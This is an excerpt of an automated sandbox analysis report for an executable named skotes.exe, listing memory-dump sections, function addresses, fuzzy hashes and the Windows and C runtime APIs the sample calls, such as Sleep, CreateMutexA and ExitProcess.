Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction ID: 583099aebe30a6a4c5a8a0bab37f3a427bedc90798c9e8eaa9ee393735668e98
Opcode Fuzzy Hash: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction Fuzzy Hash: 37A1E3B0A012059FDB10EF64C844B6ABBF8FF15710F0481A9E829D7691EB31EA04DBE1

Function 00BACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BACC66

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00B8BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B8BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BBE4
_xtime_get.LIBCPMT ref: 00B8BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B8BC13

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction ID: c1034d018e4d5d807eece966ff2eea3c3e0240c48f0bfd06f3875702650fe5c1
Opcode Fuzzy Hash: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction Fuzzy Hash: 0821EBB5A00119AFDF00FBA4D885DBEBBB9EF48710F1040A5FA01A7261DB349D05DBA1

Analysis Process: skotes.exePID: 7184, Parent PID: 3584COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1878
Total number of Limit Nodes:	9

Executed Functions

Function 00BA652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BA652A,?,?,?,?,?,00BA7661), ref: 00BA6567

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c70ca35fdc6f79228b47b9ddceaee12a834c439d12a462a4bbe0b9dd1ad921cc
Instruction ID: 13131187918effe0962daa3d01a457fcb637af22992df18fedf6f09d5c6b76de
Opcode Fuzzy Hash: c70ca35fdc6f79228b47b9ddceaee12a834c439d12a462a4bbe0b9dd1ad921cc
Instruction Fuzzy Hash: 20E08C3044460CAECF257F58C849D9D3BEAEB62789F184840F81846222CB35EE91DA90

Function 00B79BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ec5a1fd3dec6fc54347a6ab7ff7b106cb914780b204b748bdc3d443943ae904a
Instruction ID: 27c22c7545dae5dcee42c4ac048b85bd1329c16800c4ffd03438021533beea4a
Opcode Fuzzy Hash: ec5a1fd3dec6fc54347a6ab7ff7b106cb914780b204b748bdc3d443943ae904a
Instruction Fuzzy Hash: F6313B716041049BEB08EB78DD8575DBBE2EBC6310F24C2A9E02CD73D6D7759980C752

Function 00B79F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
